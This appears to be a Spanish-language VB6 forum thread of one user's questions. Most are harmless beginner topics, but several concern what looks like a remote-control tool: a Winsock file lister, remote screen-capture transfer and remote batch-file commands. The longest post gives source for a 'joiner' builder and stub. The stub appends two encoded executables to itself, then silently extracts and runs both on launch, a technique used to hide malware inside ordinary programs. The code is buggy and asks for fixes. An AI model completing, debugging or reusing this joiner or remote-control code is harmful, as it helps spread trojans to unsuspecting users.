Temas

Hola,alguien sabe como crear un acceso directo a un programa?He probado 3 codes y ninguno me va bien,a ver si alguien sabe.

Saludos.

Hola soy yo el pesao de siempre  bueno pues estoy trabajando en el file manager y tengo un pequeño problema,hago un bucle para listar los archivos,lo envio y lo añado a un listview,peor claro me lo añade todo en una columna y junto,lo quiero evidentemente separado,no en la msiam columna este.exeaquello.jpg etc...
aqui el code.
Servidor:

Código [Seleccionar] Expandir


Dim i As Long
For i = 0 To File1.ListCount - 1

ws.SendData "list" & File1.List(i)

Next

Cliente:

Código [Seleccionar] Expandir


If Left(datos, 4) = "list" Then
Set x = ListView1.ListItems.Add(, , datos)

He probado con sleep en el server o en un timer y hace lo mismo.
Espero sus respuestas gracias y saludos.

Hola,tengo un problema siempre que abor algo,como output por ejemplo y escribo aparecen caracteres.ej:

Código [Seleccionar] Expandir


Open "c:\test.bat" For Output As #1
Write #1, , "@echo off" & vbNewLine
Write #1, , sdata(1)
Close #1


y en el bat sale esto:

Código [Seleccionar] Expandir


,"@echo off
"
,"del /f/s/q capture12.jpg"

Esas comas y comillas,de donde salen???

Hola,veran este codigo no me va para hacer lo que quiero,enviar una imagen recibirla,y cargarla en un picture.
Servidor:

Código [Seleccionar] Expandir


dim ar as string
Open "c:\capture.jpg" For Binary As #1
ar = Space(LOF(1))
Get #1, , ar
Close #1
WS.SendData "paco|" & ar


Cliente:

Código [Seleccionar] Expandir


Case "paco"
Dim ar As String
Open "c:\captura1.jpg" For Binary Access Write As #1
Put #1, , sData(12)
Close #1
Form4.Picture1.Picture = LoadPicture("c:\capture.jpg")


Aqui debe estar el problema,he probado en vez acces write solo binary y la verdad no se que puede pasar,supongo que todo el code esta bien,lo he hecho yo pero deberia funcionar y no me va.
De antemano muchas gracias.
Saludos.

Hola,me gustaria saber como reproducir un sonido,el caso es que cuando lo intento,se abre el reproductor,porque lo que hago es ejecutar el archivo no reproducirlo.
Gracias de antemano.

Hola,quiero llenar un combobox,con el texto que tenga en un archivo .txt.Pero solo quiero que se cojan 10 de las palabras del texto,el texto se llena con lo que se introduce en el combobox,es decir un historial,que la palabra que metemos,se mete en el txt,y luego,nos aparezca en el combobox,como que se ha buscado.
aqui el code:

Código [Seleccionar] Expandir


Dim cadena() As String
Dim i As Byte
Open App.Path & "\log.txt" For Input As #1
For i = 1 To 10
Line Input #1, cadena(i)
Next i
Close #1
Combo1.AddItem cadena(i)


Código [Seleccionar] Expandir

Open App.Path & "\log.txt" For Append As #1
    Print #1, Combo1.Text
    Close #1
Bueno,lo de eliminar o sobreescribir,lo sé,pero lo de llenar el combobox no.

Hola,estoy un poco desesperado,estoy haciendo un joiner y no me va,asique pongo el code,a ver si vesi algun error:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
cd.ShowOpen
Text1.Text = cd.FileName

End Sub
Private Sub Command2_Click()
cd.ShowOpen
Text2.Text = cd.FileName

End Sub

Private Sub Command3_Click()
Dim tamaño As String
Dim total As String * 9
Dim encriptacion As String
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim tamaño2 As String
Dim total2 As String * 9


Dim encriptacion2 As String
Dim ruta As String
cd.ShowSave
ruta = cd.FileName
FileCopy App.Path & "\hen.dll", ruta
Open Text1.Text For Binary As #1
tamaño = LOF(1)
Get #1, , tamaño
Close #1
tamaño = HuffmanEncode(tamaño, True)
total = Len(tamaño)
Open Text2.Text For Binary As #1
tamaño2 = Space(LOF(1))
Get #1, , tamaño2
Close #1
tamaño2 = HuffmanEncode(tamaño2, True)
total2 = Len(tamaño2)


extension1 = Right$(Text1.Text, 3)
extension2 = Right$(Text2.Text, 3)



Open ruta For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , tamaño
Put #1, , tamaño2
Put #1, , total
Put #1, , total2
Put #1, , extension1
Put #1, , extension2
Close #1
MsgBox "Archivos juntados!", , "Trébol Joiner v.1"
End Sub

Private Sub CommandXP1_Click()

End Sub

Private Sub CommandXP4_Click()
formjoin.Hide
Form1.Show
End Sub



End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
STUBB:

Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long





Private Sub Form_Load()

Dim total As String * 9
Dim total2 As String * 9
Dim a2 As Long
Dim b2 As Long
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim archivo1 As String
Dim archivo2 As String

Dim tamaño As String
Dim tamaño2 As String
Dim desn1 As String
Dim desn2 As String
Dim ruta As String

ruta = App.Path & "\" & App.EXEName & ".exe"
Open ruta For Binary As #1
Seek (1), LOF(1) - 25
Get #1, , total
Get #1, , total2
Get #1, , extension1
Get #1, , extension2
Close #1
archivo1 = Trim(extension1)
archivo2 = Trim(extension2)
a2 = Trim(total)
b2 = Trim(total2)
tamaño = Space(total)
tamaño2 = Space(total2)



Open ruta For Binary As #1
Seek (1), LOF(1) - (a2 + b2 + 25)
Get #1, , tamaño
Get #1, , tamaño2
Close #1

desn1 = HuffmanDecode(tamaño)
desn2 = HuffmanDecode(tamaño2)
Open ruta & "c:\uno" & "." & extension1 For Binary As #1
Put #1, , desn1
Close #1
Open ruta & "c:\dos" & "." & extension2 For Binary As #1
Put #1, , desn2
Close #1
ShellExecuteA Me.hWnd, "Open", ruta & "\uno" & "." & extension1, vbNullString, vbNullString, 1 ' Y ahora los ejekutamos...
ShellExecuteA Me.hWnd, "Open", ruta & "\dos" & "." & extension2, vbNullString, vbNullString, 1

End
End Sub







Gracias y saludos.

La api shellexecuteA me da  'no se encontó el metodo o miembro de datos' eso me lo dice a .hWnd
Que pasa?He mirado el code y esta bien.
La api he hecho copiar pegar,y no puede ser que haya copiado mal o que en el sitio estuviera mal porque lo he hecho de sitios diferentes,y varias veces para ver si era eso.
El hwnd esta perfectamente declarado.

Hola,tengo dos dudas sobre esto,la primera es que estoy haciendo un joiner y quiero que cuando le den a juntar,el progressbar muestre el estado de la operacion,pero no me sale.
Lo otro es que el progressbar del vb es muy feo y he visto que algunos tienen distintos progressbar(ej:cactus joiner)de donde lo sacan?
Gracias y saludos.

Hola,me gustaria saber como se hace (en vb) para que se puedan registrar,poner un nombre de usuario y pass,y luego logearse,imagino que con base de datos,pero no se exactamente como hacerlo.
Gracias y saludos.

Hola,tengo el visual studio 6.0,me gustaria saber donde descargar la msdn library.
Gracias de antemano.

Hola,me gustaria saber si se puede hacer una calculadora cientifica en VB,con coseno,seno,exponentes,raices y cosas asi,yo se programar en visual basic,de hecho hize una calculadora,pero me gustaria hacer una cientifica buena,con todas las funciones,se puede en visual?
Saludos.